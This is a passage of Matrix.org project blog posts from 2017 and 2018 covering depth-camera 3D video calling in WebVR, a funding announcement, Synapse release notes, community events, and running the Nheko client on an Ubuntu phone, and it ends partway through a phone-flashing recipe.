However, we still believe that Matrix is the missing link for decentralised communication within VR/AR, and we were lucky enough to get a talk about Matrix+WebRTC+WebVR accepted to the Real-Time Communications Devroom at FOSDEM 2018! So, given a new chance to show the world how cool Matrix-powered comms could be in VR/AR, myself and Dave Baker went on a (very) quick detour to update the demo a little...

One of the issues of the original demo is that the video calling bits were just putting plain old video planes into the scene - floating television screens of 2D video content, if you will. This is better than nothing, but it's sort of missing the whole point of VR/AR: surely you want to see who you're talking to in 3D? Ideally they should have the same presence as if they were physically in your virtual space. This could also be a big step towards fixing one of the oldest problems of video calling: gaze correction. We've been obsessed about gaze correction since our early days (pre-Matrix) building mobile video calling stacks: gaze correction tries to fix the fact that the break in eye contact caused by staring at the screen (rather than the camera) has a terrible impact on the emotional connection of a video call. But if the person you are talking to is 3D, you can always rotate them in 3D space (or reposition yourself) to correct their line of sight - to re-align their gaze so they're actually looking (in VR) at the thing they're looking at in real life!

Back in early 2017 it would have been wildly ambitious to build an off-the-shelf 3D video calling app - but this changed overnight in late 2017 with the introduction of the iPhone X and its TrueDepth infrared-dot-projector based depth camera; effectively a mini-Kinect. Suddenly we have a mainstream high quality depth+video camera perfectly optimised for 3D video calling, with excellent API support from Apple. So we decided to see if we could be first in the world (as far as we know) to do 3D video calling using the iPhone X, using Matrix to signal the WebRTC media and using our WebVR demo as the viewing environment!

Step 1: Hack on WebRTC to add support for the iPhone X depth camera as a capture device. This is pretty easy, at least if you're just swapping WebRTC's AVFoundationVideoCapturer to request the depth camera instead of the video camera: https://github.com/matrix-org/webrtc/commit/c3044670d87c305d8f8ee72751939e281bf5223f is the starting point.Step 2: Build a custom Riot/iOS with the right WebRTC SDK.  This is relatively easy thanks to Riot/iOS using CocoaPods and Google shipping a pod for WebRTC these days - it was a matter of tweaking Google's pod so it could be referred to directly as a local project by Riot/iOS (and so that it provided debug symbols in the form CocoaPods expects). Brief notes are at https://github.com/matrix-org/webrtc/blob/matthew/depth/matrix/build_instructions.txt - many thanks to Manu for helping on this :)Step 3: Decide how to encode the depth buffer. Now, the official WebRTC working group quite correctly insists that depth data should be treated as a first class citizen which is modelled and compressed in its own right. However, it looks like nobody has added first-class depth support to official WebRTC yet - and if we want to be able to easily display 3D calls on generic browsers capable of running WebVR+WebRTC+Matrix, we have no choice but do the ugly thing and encode the depth into a video signal which can be compressed with VP8/VP8/H.264 etc.

A quick search showed that some folks had already proposed a method for encoding depth data into a video signal, back in the days of the Kinect: https://reality.cs.ucl.ac.uk/projects/depth-streaming/depth-streaming.pdf. The paper outlines a fairly simple approach: you encode the 16-bit depth data into the three 8-bit colour channels; putting the coarse depth data into Blue, and then finer-grained depth data into Red and Green, encoding it as a periodic triangle wave:

In practice this means that as an object gets closer towards you, it gets gradually more blue - and meanwhile it pulses through a sequence of red and green so you can refine the precise depth more easily. So we went and implemented this, building a 16-bit lookup-table to encode the half-precision floating point 16-bit depth measurements the camera yields into video: https://github.com/matrix-org/webrtc/compare/c3044670d87c305d8f8ee72751939e281bf5223f...0258a4ef14c11a0161f078c970c64574629761c2.

Placing a video call through to another Matrix client then coughed up a video stream that looks like this:

As you can see, closer things (my head) are bluer than further things (the wall), and everything's covered with trippy red & green stripes to refine the fine detail.  For the record, the iPhone TrueDepth camera emits 640x480 depth frames at around 24Hz.

Step 4: extend matrix-vr-demo to view a dot cloud, displaced using a WebGL vertex shader based on the encoded depth info.  Dave kindly did the honours: https://github.com/matrix-org/matrix-vr-demo/commit/b14cdda605d3807080049e84181b46706cec553e

Unfortunately, it showed that the depth encoding really wasn't working very well... you can just about make out my head, but there are dots flying around all over the place, and when you view it in profile the 3D effect was almost entirely missing.

The main problems seem to be:

  • Whenever there's a big jump in depth, the stripes get incredibly noisy and don't compress at all well, generating completely corrupt data at edges of objects (e.g. the sides of my head)
  • The complexity of the pattern as a whole isn't particularly compression-friendly
  • The contrast of the red/green stripes tends to dominate, causing the arguably more important blue to get overpowered during compression.
  • Converting from 4:4:4 RGB to 4:2:0 YUV (NV12) as required by WebRTC and then back to RGB inevitably entangles the colours - meaning that the extreme contrast of the red/green stripes is very visible on the blue channel after round-tripping due to sampling artefacts.
  • I probably made a mistake by bitwise casting the 16-bit half-precision floating point depth values directly onto the 16-bit unsigned int lookup index, rather than interpreting the float as a number and building a new index into the lookup table based on its numeric value.  As a result, depth values being encoded ended up having a much lower range than they should.
  • There are probably other bugs too.
Step 5: Give up on the fancy depth encoding (for now): https://github.com/matrix-org/webrtc/commit/2f5d29352ce5d80727639991b1480f610cbdd54c.  In practice, simply picking a range of the 16-bit half-precision floats to fit in the integer range [0,255] turns out to be good enough for a quick demo (i.e. 8-bit depth buffer, but over a small subset of the 16-bit depth space) - the dot cloud suddenly looked a lot more 3D and recognisable:

Step 6: Clearly this needs colour as well as depth.  This means asking WebRTC to add VideoTracks for both video and depth to your call's MediaStream.  Firstly, we added a simple 'matrixDepth' constraint to WebRTC to tell a video source whether to capture depth or not.  (Yes, I know there's a specced way to do this, but given nothing else here is on spec, we went for the simplest approach).  However, it turns out that only one WebRTC's AVFoundationVideoCapturer can run at a time, because it manages its own AVCaptureSession and you can only have one of those at a time in a given app.  As a result, the two capturers (one per video track) collided, with the second session killing the first session.  As a quick fix, we modified RTCAVFoundationVideoSource to accept an existing AVCaptureSession (and AVCaptureDeviceInput) so that the application itself can handle the capture session and select the device, which can then be shared between multiple capturers: https://github.com/matrix-org/webrtc/commit/9c58465ada08018b1238fb8c5d784b5570f9246b.  Finally, just needed a few lines to matrix-ios-sdk to set the constraint and send the depth as well as video... https://github.com/matrix-org/matrix-ios-sdk/compare/fa9a24a6914b207389bacdd9ad08d5386fd0644a...5947d634ae8d722133ecdbde94cccf60bb88f11d, and adding playback of both channels to the vrdemo (https://github.com/matrix-org/matrix-vr-demo/commit/4059ab671d13bb4d4eb19dd2f534d9a387e47b81 and https://github.com/matrix-org/matrix-js-sdk/commit/f3f1524fcd46d2e772fd5cd022364018c8889364) ...and it worked!

However, the dot cloud obviously has some limitations - especially when you zoom in like this.

Step 7: Replace the dot cloud with a displacement-mapped mesh so that it's solid.  So as a final tweak for the demo, Dave switched out the dot cloud for a simple A-Frame plane with 640x480 vertices, keeping the same vertex shader.  Ironically this is where we hit some nasty problems, as for some reason the video texture started being applied to the depth texture (albeit flickering a bit) - eventually we realised that the flickering was the vertex shader inexplicably flapping between using the depth and the video texture for the displacement map.  At this point we compared it between laptops, and it turns out that for some reason the integrated Intel graphics on Dave's Macbook Pro was choking on the two video textures, whereas a AMD Radeon R9 M370X got it right.  It's unclear if this was actually a GPU bug or an A-Frame or Three.js or WebGL or Chrome bug.  Eitherway, on switching laptop to one with discrete graphics it started working perfectly!  Finally, we tweaked the shader to try to reduce smearing, by discarding vertices where there are big discontinuities in depth (through looking at the partial derivatives of the depth texture).  This isn't perfect yet but it's better than nothing.  https://github.com/matrix-org/matrix-vr-demo/compare/bbd460e81ff1336cd63468e707d858d47261ea42...06abe34957732ba8c728b99f198d987fe48d0420

And here's the end result! (complete with trancey soundtrack as the audio we recorded at FOSDEM was unusable)

Conclusion:

Hopefully this gives a bit of a taste of what proper 3D video calling could be like in VR, and how (relatively) easy it was at the Matrix level to add it in.  If anyone wants to follow along at home, the various hacky branches are:

If you'd like to get involved with hacking on Matrix in VR, please come hang out at #vr:matrix.org.

Also, New Vector (where most of the core team work) is also hiring for VoIP/VR specialists right now, so if you'd like to work on this sort of thing fulltime, please contact us at [email protected] asap!

Matthew

Update: Slides from the FOSDEM talk (adapted from this blog post by Amandine) are available at https://matrix.org/~matthew/2018-02-04%20FOSDEM%20-%20VR.pdfUpdate 2: The full FOSDEM talk recording is now up already at the RTC dev room at https://video.fosdem.org/2018/H.1309/!

Status partners up with New Vector, fueling decentralised comms and the Matrix ecosystem!

2018-01-29 — General — 
Hi all,We're delighted to announce that our friends at Status have made a major strategic investment ($5M) in New Vector: the company which currently employs most of the Matrix.org core team.  This means that we now have the financial backing to let us focus entirely on improving the Matrix ecosystem and getting the protocol out of beta… and beyond!!
First up - massive, massive thanks to everyone who has supported us over the last 6 months since our funding situation changed: as of the end of 2017 we had enough Patreon / Liberapay / IBAN / BTC / ETH donations and sponsorship (for Matrix.org) and enough paid consulting work (for New Vector) that we've been able to keep almost the whole core team working on Matrix as their day job.  Simply: the core Matrix team could not have continued in its current form without the support of the community - so we will be forever indebted to everyone who has supported us: especially all our donating supporters on Patreon/Liberapay/etc, our customers at New Vector, and our big $ sponsors, including UpCloud.com (who provide *incredible* hosting for Matrix.org), PrivateInternetAccess.com, INBlockchain.com, OmiseGO and Tendermint.The investment from Status that we're announcing today is a massive step change as it gives us the resources to grow the team and to focus fully on Matrix's key problem areas without distractions (whilst still supporting paid New Vector work). Please note that donations are still very appreciated however: we are in the process of setting up the Matrix.org Foundation (at last!) as the non-profit target for all future donations, such that Matrix itself has a financial means to support pure Matrix work independently of any other companies (including New Vector).Many folks will be familiar with Status already as one of the leading projects in the Ethereum ecosystem: building a beautiful usability-focused browser for decentralised apps (DApps) which run on the Ethereum Virtual Machine - as well as providing cryptocurrency payments and chat functionality (via the Whisper protocol).  It effectively lets users access Ethereum as a usable meaningful operating system - a bit like how Riot attempts to be a flagship ‘browser' for the Matrix ecosystem.  The reason Status is investing in Matrix is primarily to accelerate decentralisation technology and open protocols in general - and also because there are some pretty obvious advantages to the collaboration, potentially including:
  • Bridging between Matrix and Whisper (Ethereum's own real-time communication protocol) - exposing all of the Matrix ecosystem into Ethereum and vice versa
  • Bundling up Status DApps as Matrix Widgets
  • Exposing Matrix Widgets into Status
  • Supporting Olm/Megolm such that it could be used for E2E encryption in Status
  • Collaboration on the decentralised reputation systems needed to combat abuse in both Matrix & Ethereum
  • Utilize the Status Network token within Riot.im by enabling crypto assets.
  • ...and more!
We've spent a lot of time working with Status over the last few months whilst arranging this partnership, and we've been really impressed by Jarrad and Carl and the team (they even have their own golang Double Ratchet Implementation!).  It's fair to say that Status are very much aligned with Matrix's vision, and the projects and can help each other a lot.It's also worth noting that Status and Matrix are really quite complementary: Whisper (as used by Status) is entirely p2p and focuses on protecting metadata and is tightly coupled to Ethereum, whereas Matrix is standalone and more feature rich but currently lacks metadata protection.  We both have fledgling app ecosystems; Matrix through Widgets and Status through Ethereum DApps. That said, Matrix and Status are going to continue on their own paths, and Matrix will of course remain controlled by Matrix.org - but we are looking forward to learning more about each other's tech and driving decentralisation forward in general!Meanwhile, on the core Matrix side, the investment lets us focus immediately on the following priorities:
  • Improving Riot's usability. As of today we are urgently hiring for a Lead Designer to join the team fulltime to revamp and address Riot's usability issues, as this is one of the single biggest things getting in the way of Matrix uptake today.  Hit up [email protected] if you're interested!At the same time, we're excited to ramp up our investment in Riot's performance and overall polish (as well as achieving feature parity with Slack/Discord and friends) - that means we're looking for React, Android & iOS folks to join the core team full-time asap to take the apps to the next level.  Again, [email protected] if this sounds like you!
  • Getting End-to-end Encryption out of beta. We know what we need to do to push E2E out of beta (incremental key backup; cross-signing devices; improved device verification) - Status' investment means we can build the team to get it done! Decentralised end-to-end encryption is not for the faint-hearted, but if you're up for the challenge please get in touch at [email protected].
  • Finishing Dendrite. Dendrite (our next-gen golang homeserver implementation) is a hugely ambitious project and right now the only folks working on it are Rich and Erik… who also happen to be supporting Synapse too.  The good news is that the community has been helping considerably with Dendrite, but it would be even better if we had more people supported to work on it full time.  If you love Go, and you love massively scalable decentralised systems, please hit up [email protected]!
  • Supporting Synapse.There is massive scope for performance improvements to Synapse, and there are thousands of deployments out there today, so we really want to improve support for Synapse.  If you love Python and Twisted, and interesting performance/profiling and efficiency work, please hit up [email protected]rg too!
  • Maintaining the Spec. If Matrix is anything it is the spec, and maintenance of the spec is key to the project's success. In 2018 we intend to invest heavily in its maintenance and address outstanding API proposals, documenting APIs, not to mention updating the general technical documentation (guides, FAQ etc) on Matrix.org in general.  If you are a developer who loves spec work, we need you over at [email protected] immediately! :)
Beyond these immediate priorities, we have a long feature roadmap lined up too (highest priority first): Reactions, Message Editing, improved Widgets (e.g. Sticker Packs), Threading, Decentralised Accounts, Decentralised Identity, Decentralised Reputation, Peer-to-peer Matrix and more.  However, right now our focus has to be on improving the quality and stability of what we have today and getting it out of beta before we open yet more battlefronts.  In other words: we're not adding more features (modulo emergencies) until the current features are polished!So: exciting times ahead!  Never before has Matrix had the resources to fully realise its potential, and we'd like to say enormous thanks to Carl, Jarrad, Yessin and Nabil at Status for their patience and support while sorting out the investment.  We'd also like to say thanks to everyone else who offered us investment: in the end we had several viable offers on the table - and we owe sincere thanks to those who invested the time and faith to make an offer which we've ended up turning down.For now, however, it's back to work: making Riot slicker than Slack; making Synapse go faster and use less RAM; making Dendrite federate; making E2E encryption transparent and indestructible; making sure that it's possible to implement Matrix purely by referring to the Spec.2018 is going to be an interesting year indeed :)  Thank you all for supporting Matrix - and thanks, once again, to Status for helping to take us to the next level.Matthew, Amandine & the whole team.

Update 1: VentureBeat is covering the news over at https://venturebeat.com/2018/01/29/status-invests-5-million-in-matrix-to-create-a-blockchain-messaging-superpower/

Update 2: IBTimes is also covering it at http://www.ibtimes.co.uk/matrix-status-ico-gains-support-non-blockchain-decentralisation-technology-1656183!

...and you can see Status's side of the story over at https://blog.status.im/status-invests-5m-in-riot-im-4e3026a8bd50!

The Matrix Holiday Mini-Special (2017 edition)

2017-12-25 — General — 

Hi folks,

Since we began Matrix it's been a sort of tradition to do a huge update on Christmas Eve to reflect on the past year and tease the future - you can check out the 2016 edition or the 2015 edition and a sort of proto-update for 2014 too if you're feeling nostalgic.  This year I'm going to try to keep it short though, as I'm hoping to write a Very Big Update related to long-term-funding progress in the relatively near future.

2017 has been a weird year for us: progress in the core team has been relatively badly impacted by the mission to secure long-term funding, with myself (Matthew) & Amandine spending the vast majority of our time handling the meta-problem of keeping the core team secure rather than actually working on the project itself.  Meanwhile we've lost a few of the original team during the disruption, which has particularly impacted Spec, E2E and Dendrite progress (such are the risks of running a very lean team in the first place!).  However, against the odds, we have (hopefully) prevailed - and this is almost entirely due to the massive support we've seen through donations via Patreon, Liberapay, Ethereum, Bitcoin and PayPal, and some much-appreciated paid consulting work.

Simply put, without the donation support we would have not been able to pay the core team over the last 3 months, and we would not be able to pay for the legal costs of setting up the team as an independent company, and we would be completely screwed for securing large-scale long-term funding if we couldn't point to the community's support as evidence that Matrix is worthy of funding.  So: we sincerely owe our thanks to those who heeded the call to arms and are supporting us.  We've also been pretty lucky in benefiting from the skyrocketing value of Ethereum and Bitcoin donations.  And even if/when long-term funding is secured for New Vector (the company we formed in July to hire the core team), donations will continue to be vital to support the Matrix.org Foundation itself as an independent non-profit entity - as it's obviously not in Matrix.org's interests to be entirely financially dependent on New Vector.  Hopefully this whole episode will end up being a bit like a Save Star Trek scenario - where something fun and amazing almost gets almost wiped out when it's only a few years old due to corporate factors... only for the community to band together to save it, and then for it to go from strength to strength for the next 50 years or more! :D

That said, we've made some major progress this year anyway: the addition of Widgets to Matrix; the addition of Communities (aka Groups) and Flair; major improvements to E2E encryption (even though it's not out of beta yet); lots of progress on Dendrite (the minimum-viable phase 1 is now about 75% complete); switching everything over to Jitsi for group video conferencing; rewriting onboarding for Riot/Web; Antiscam/spam support for cryptocommunities; the whole VR proof-of-concept of Matrix+WebVR+WebRTC video and voip calling; Version 0.3 of the Matrix spec; and a whole lot more which I'm probably forgetting right now.  And meanwhile the community has been more active than ever, with major new clients like Nheko hitting the scene with a large and loyal community of open source contributors (over the last few weeks I've literally seen more nheko PRs fly past than Riot ones!) - and we've also been incredibly glad of community contributions towards Dendrite.  Dendrite is already way ahead of Synapse in terms of % community contributed code - we have hope that it will end up being a model FOSS project :)

So what lies ahead?  It's hard to predict the level of progress we're going to make in the core team, as it really depends on long-term funding.  Whatever happens, one of our top priorities is to improve our governance so that everyone can better contribute in places that have historically been more blocked on the core team (i.e. the spec; synapse)... whilst still maintaining coherency across the project.  Ideally we'll end up with more folks pushing Matrix forwards from both the wider world and the core team however, and right now the main priorities are:

  • Phase 2 of Communities: letting users filter their current view of Matrix to rooms associated with a given subset of communities (if desired), for Slack/Discord-style semantics
  • Fixing the remaining end-to-end encryption failures (although the majority of them have now been solved)
  • Finalising proper UI/UX for end-to-end encryption (at last), including the option to transparently back up your room keys if desired.
  • Dendrite Phase 1
  • Performance in Riot (on all platforms)
  • Editable messages
  • Reactions
  • Making widgets much more useful
  • Paid integrations and hosting options to help avoid further funding nightmares.
Looking at the bigger picture, what we'd really love for 2018 would be to finally get to a 1.0 release of the Matrix Spec (i.e. catching up on our massive backlog of merging unstable spec drafts & proposals into the spec) - and for Dendrite to start to replace Synapse as the reference home server from Matrix.org and become really ubiquitous, and for E2E encryption be turned on by default in private rooms.  Beyond the above list, we don't really have any other features urgently planned (threading, for instance, is on hold until we have the rest of the above sorted) - but we believe that if we stabilise everything we have today (plus that list), then there is no reason for Matrix to not fulfil its full potential as a true global open decentralised communications standard.  And then it's on to threading, P2P matrix, decentralised reputation and all that good stuff!

It's going to be a crazy year ahead, either way: so thank you, once again, for supporting Matrix - whether that's financially, or by contributing code, or running a server, or just using the protocol as a user.  We literally wouldn't be here without you!! :)

Matthew, Amandine & the whole core team.

Goto::Hack: Ver, Berlin, Jan 2-9: A week-long session on internet decentralization!

2017-12-08 — General — 

We'd like to share a guest post from Dmitriy Volkov (who's been using Matrix almost since day 1!) - announcing the Goto::Hack event at the Tor Onionspace in Berlin in January.  The Onionspace will be on fire as folks attack the New Year by tackling the critical problem of internet decentralisation. A week long brainstorm and hack feels like the right way to go after the Christmas break! GNUnet, Tor, Matrix, pick your topic, or mix them all, and join the gang!  Hopefully we'll have someone there from the Matrix core team too (although it depends on funding and timings).

-- Amandine

We'd like to invite you to discuss and hack all things decentralized internet: from conceptual issues like identity and foundational tech like network stack to most practical questions, e.g. "What do I advise people at Cryptoparty in lieu of WhatsApp?" or "How do I make a GNUnet app?".

Broadly, we'll do networks, distributed systems, infosec and telecom - with GNUnet / secushare and Matrix developers, find out more here.

Time: 02-09 Jan 2018Space: Onionspace, Gottschedstraße 4, Aufgang 4, 13357 Berlin

It's well known Big Brother has been listening to our phone calls, reading texts and partnering with companies like Amazon or Google for a while now; more and more countries start censoring Internet - it's not just China. Most "secure" communications solutions like Threema or Telegram suffer conceptual issues, like being unsecure-by-default or controlled by single commercial entity. Decentralized systems - the proposed technical part of the solution - bring forth their own challenges: how do we conveniently identify an entity (considering revocation and squatting), and why do blockchains as innovative as Bitcoin and Ethereum churn through gigawatts of energy while handling miserable tens of transactions per second? What can serve as practical, scalable infrastructure for a decentralized network alternative to current Internet: on physical and channel levels, in terms of routing, etc.? How do we forge convenient XMPP, free Signal, a WhatsApp that can be both used universally and trusted?

How do we make the Internet less centralized and what can be done to make existing distributed technologies more popular? Why is Tor not enough and how long are we going to continue communicating in plaintext? How do we cook identity, and can we better consensus?

During the event we will discuss, hack, code, debug and develop - both systems (GNUnet, Tor, Matrix, etc.) and applications based on them, fix UX and write docs. The goal is to make a measurable contribution to solving some of the described problems through the course of the week, meet in person with the people tackling the issues you care about and return home with the desire to continue hacking.

Please register at our website if you'd like to come - also, if you're not local, we are doing a group booking at a hostel and will be having some Berlin hacker community tours! (Use this if the first link didn't work for you - that's an IPNS issue and one thing in scope for the event.)

-- Dmitriy

Synapse 0.24 is here!

2017-10-24 — General — 

Hi folks,

Synapse 0.24 is out (currently at 0.24.1)! This is a pretty big release as it includes initial support for Groups, also known as Communities (UI for which is landing currently on Riot/Web and later Riot/Mobile). Groups let you associate together a set of users and rooms, letting you define a community - e.g. +matrix:matrix.org is the community of the core Matrix project itself (whose users are the core Matrix.org team, and whose public rooms are the rooms we officially manage/moderate as Matrix.org).  We'll yell more about Groups once the UI is ready for action in the near future, but the good news is that Synapse should be ready to go (although the API is still fairly experimental and very much evolving).

Other stuff worth calling out in this release includes: massive performance improvements on receiving federation traffic (we now process federation traffic for different rooms in parallel); fixing a major cause of performance issues (caused when processing spurious events for rooms you've actually left); modularising and improving the the spamchecker; @room notification support; backup media repository support; and finally the ability to autojoin new users to a set of rooms on the server!

You can get the latest release from Github as usual; have fun - and thanks for flying Matrix :)

Changes in synapse v0.24.1 (2017-10-24)

Bug fixes:

  • Fix updating group profiles over federation (PR #2567)

Changes in synapse v0.24.0 (2017-10-23)

No changes since v0.24.0-rc1

Changes in synapse v0.24.0-rc1 (2017-10-19)

Features:Changes:
  • Make the spam checker a module (PR #2474)
  • Delete expired url cache data (PR #2478)
  • Ignore incoming events for rooms that we have left (PR #2490)
  • Allow spam checker to reject invites too (PR #2492)
  • Add room creation checks to spam checker (PR #2495)
  • Spam checking: add the invitee to user_may_invite (PR #2502)
  • Process events from federation for different rooms in parallel (PR #2520)
  • Allow error strings from spam checker (PR #2531)
  • Improve error handling for missing files in config (PR #2551)
Bug fixes:
  • Fix handling SERVFAILs when doing AAAA lookups for federation (PR #2477)
  • Fix incompatibility with newer versions of ujson (PR #2483) Thanks to@jeremycline!
  • Fix notification keywords that start/end with non-word chars (PR #2500)
  • Fix stack overflow and logcontexts from linearizer (PR #2532)
  • Fix 500 error when fields missing from power_levels event (PR #2552)
  • Fix 500 error when we get an error handling a PDU (PR #2553)

Announcing Matrix meetup in Berlin - Thursday October 19th!!

2017-10-12 — General — 

Hi folks,

On October 19th (next Thursday, as of the time of writing) we're going to be back in Berlin for various meetings - and we're incredibly excited that BlueYard have offered to host the world's first ever official Matrix and Decentralised Communications Meetup at their offices in Kreuzberg!  Matthew, Amandine and maybe others will be attending and speaking from the core team, and giving a VIP tour of the long-long-long-awaited Groups/Communities features in Matrix and Riot as well as some of the other good stuff in the pipeline - and we're also excited to have Exul joining us from the community to talk about his recent Matrix<->Rocket.Chat bridging adventures.  We're also expecting some exciting folks to join us from the Ethereum community to talk about decentralised realtime comms in their ecosystem - plus if anyone wants to talk about other Matrix/XMPP/Tox/Briar/Richochet or similar projects please ping us and let us know asap!

Update: we're excited to announce that Jack Fransham from Polkadot (who are very active Riot/Matrix users - and just raised >$130M in their token generation event yesterday) will also be joining us to tell us all about how Polkadot bridges together different blockchains!. (The original speaker was Marek Kotewicz, but availability didn't work out).

Update 2: and our final speaker is confirmed as Maximilian Möhring, CEO of Keyp, who's going to talk about their self-sovereign decentralised identity system.

Update 3: ...and we have a last minute addition for a lightning talk from Secushare (Psyc + GNUnet, fully decentralised p2p encrypted comms)!!

Space is limited to 70 attendees, so please register on Eventbrite asap if you'd like to come!

As a taster: the official video of our massive talk from the ETHLDN meetup a few weeks ago was just released (see below).  The meetup in Berlin will have different content and be more free-form, letting folks ask their own questions and steer the conversation and discussion as you see fit: so please come hang out in person, grab pizza and beer courtesy of BlueYard, and find the answers to all the deepest Matrix questions you never knew you even had...!

See you next week! :D

Synapse 0.23 is out!

2017-10-02 — General — 

We've just released Synapse 0.23 - which contains a bunch of significant performance improvements, bug and stability fixes - as well as a few new features: basic spam checking (the ability to configure your homeserver to reject events which match arbitrary rules, both from users and other servers) - and long-awaited support for privacy-preserving ('event_id_only') push notifications.  This means that apps can choose to register themselves to receive push notifications which do not contain any information about the actual push, but instead act as a simple "wake up!" event, which triggers the app to then sync via the client-server API in order to display the actual push notification details.  This is particularly useful for push notifications for E2E encrypted rooms, as it means the client has a chance of decrypting the message in order to display the push notification details in the UI (if the user wants that).  matrix-ios-sdk and matrix-android-sdk are in the process of being moved over to use the new 'event_id_only' push format.

Long-awaited Communities/Groups will land in Synapse 0.24, which should come quite soon (we're almost ready to merge it to develop, but it's a major update so we wanted to get 0.23 out the door first).

As always, you can get your latest Synapse from https://github.com/matrix-org/synapse or a OS repository of your choice (we've just released the official Debian packages).

Full details of Synapse 0.23:

Features:

  • Add a frontend proxy worker (PR #2344)
  • Add support for event_id_only push format (PR #2450)
  • Add a PoC for filtering spammy events (PR #2456)
  • Add a config option to block all room invites (PR #2457)
Changes:
  • Use bcrypt module instead of py-bcrypt (PR #2288) Thanks to @kyrias!
  • Improve performance of generating push notifications (PR #2343#2357#2365,#2366#2371)
  • Improve DB performance for device list handling in sync (PR #2362)
  • Include a sample prometheus config (PR #2416)
  • Document known to work postgres version (PR #2433) Thanks to @ptman!
Bug fixes:
  • Fix caching error in the push evaluator (PR #2332)
  • Fix bug where pusherpool didn't start and broke some rooms (PR #2342)
  • Fix port script for user directory tables (PR #2375)
  • Fix device lists notifications when user rejoins a room (PR #2443#2449)
  • Fix sync to always send down current state events in timeline (PR #2451)
  • Fix bug where guest users were incorrectly kicked (PR #2453)
  • Fix bug talking to IPv6 only servers using SRV records (PR #2462)
  • Fix regression in performance of syncs (PR #2470)

Matrix \"Live\"!

2017-09-29 — General — 

Occasionally folks ask why we don't update the blog more often - we're infamous in only doing big formal updates once every 3 months, unless there's something very specific to yell about.  However, it's possible that some readers don't realise that we have been publishing a weekly status update blog since July - albeit a video blog: Matrix Live!  The episodes are published on YouTube (for now, although in future we're going to use Matrix to distribute them), and are first made available to Quadratic ($5+) Patreon supporters.  After a week we make them public to everyone though and add them to the YouTube Playlist.  The videos also have very brief bullet-point summaries of the contents in the description for those who don't have time to watch and just want to skim for interesting stuff.

We appreciate that video blogs are unusual for a FOSS project relative to written blogs - but we've chosen to go down this path because counterintuitively it takes much less time to just speak about what's going on than write it down; for whatever reason my blogposts always seem to take hours to write as I get sucked into the details and try to be as comprehensive and accurate as possible.  Whereas just chatting about it with Amandine is much easier, and given that we do it anyway; why not film it for everyone's benefit?  We always film the show in one continuous take (hence the "live"), so it's literally only eating 10-15 mins out of our week.

Eitherway, just wanted to remind anyone who reads this blog that the video blog exists, and to gently encourage folks to donate at Patreon or Liberapay if they want to get access to the videos on the day they air, rather than having to wait for a week!  Finally, we'd suggest that folks subscribe to the playlist itself on YouTube even if they don't donate, so they can be reminded about new eps.

So, without further ado, here's an alarming montage of Matthew & Amandine geeking about Matrix, in case you've missed the show so far!

Experiments with Matrix for the Purism Librem5, starring Ubports and Nheko

2017-09-28 — General — 
TL;DR: If you love FOSS-friendly hardware and if you love Matrix, please preorder a Purism Librem5 Matrix-native smartphone, so we can fully bring native Matrix communication to both phones and desktop!

It's been just over a month since Purism announced the campaign to fund the Matrix-native Librem5 FOSS smartphone - and the campaign is doing pretty well, with 54% of its target reached as of the time of writing!  So in a shameless attempt to whet everyone's appetite and encourage everyone to fund the remaining 50%, we thought we'd share some of the experiments we've been doing with running native Matrix clients on a pure Linux phone.

Unfortunately the Librem5 doesn't exist yet, but we do happen to have an BQ Aquaris E5 Ubuntu Phone hanging around - so we wondered: Is it possible to run a native desktop Matrix client like mujx's Nheko on a Linux phone, given all the latest Qt voodoo? And just how hard is it anyway to update the Qt platform abstractions (or GTK for that matter) for a given platform?  In retrospect, we probably should have just run uMatriks on it - a proper dedicated Ubuntu Touch Matrix Client, but then we wouldn't have had a useful tour of maintaining the guts of a Qt distribution on mobile :)

So the core problem of running a client like Nheko on Ubuntu Touch is that it uses lots of fun glossy stuff from Qt 5.9, whereas Ubuntu Touch is still on Qt 5.4, which is over 2 years old now.  Also, it's been written as a desktop client so needs a bit of tuning to support a 'fat-finger' mobile form factor, although this is just a simple matter of programming and is a very similar problem to ensuring the desktop app has a nice responsive design on small screen window sizes (similar to how the telegram desktop client handles it).  In the end, we focused on solving the Qt problem: building a custom Qt 5.9 for Ubports (the community project who do a fantastic job of continuing Ubuntu Touch development since Canonical pulled out), while for simplicity building it on top of the current ubports distribution (which is effectively still Ubuntu 15.04).  The reason for all this Ubuntu stuff rather than using PureOS is simply that it's not far enough along, and we don't physically have a Librem5 dev kit yet to play with!

In practice, this has been a fascinating process: setting up a crosscompiler to build all of Qt5.9, and then porting the ubuntumirclient Qt Platform Abstraction to work with Qt5.9, as well as (finally) working out how to build a Qt5.9-compatible custom Maliit input context platform plugin to get the onscreen keyboard (OSK) up and running.  But we got there in the end, and it was rather fun to finally see the Nheko splash screen popping up on the Aquaris E5! :D

There was then a bit of a nightmare to get the OSK to work, thanks to https://bugreports.qt.io/browse/QTBUG-46009 causing the plugin to be silently not updated - but could then log in and the app worked great (albeit a bit slow thanks to being a debug build on the energy-efficient but slow Mediatek MT6582 SoC):

   
Now the next step here would obviously be to tweak the app properly to layout on a phone (bigger fonts; bigger buttons; resize the window to make room for the OSK; separate the Left Panel from the timeline view; etc) - but the point here was more to show a fully fledged native Matrix client running on a current Linux Phone environment and see how it feels.  And we're happy to say that it leaves us dying to get our hands on a proper Librem5 so we can work with Nheko, uMatriks, libqmatrixclient and all the other native Matrix client projects to see how we can get the best possible native client experience running in PureOS for the phone!!

Finally, there doesn't seem to be much documentation out there on how to do a heavy customisation of Ubports like this, so for the sake of posterity, here's the guide if anyone else is crazy enough to try this (or for when Ubports gets around to doing an official update to Qt 5.9 for their OS!).  A versioned copy of this lives over at this gist.

Thanks for reading, and don't forget to preorder!

Matthew

Recipe: Librem5 experiments with an Ubuntu Phone and Nheko

Starting point: one old BQ Aquaris E5 ubuntu phone, running some old version of Ubuntu Touch which had got completely stuck (UI only unfreezing for 2-3 seconds every 2-3 minutes).

Step one: flash to latest UBPorts image:

sudo add-apt-repository ppa:ubuntu-sdk-team/ppa sudo apt-get update sudo apt-get install ubuntu-device-flash sudo apt-get install phablet-tools
  • Grab an adb-compatible recovery image (yes, seems like the right place is someone's personal webspace...)
wget http://people.canonical.com/~jhm/barajas/recovery-vegetahd.img
  • If your Ubuntu desktop is running in a VM, make sure you have USB 2.0 or 3.0 support enabled (in Virtualbox this needs the extension pack installed). USB 1 is too slow and the flash will timeout, semi-bricking the phone.
  • Press volume-up and power on the phone during boot to get at the bootloader. Make sure it's not plugged into USB
  • Select fastboot
  • Plug into USB
  • Flash the recovery image and latest UBPorts OS:
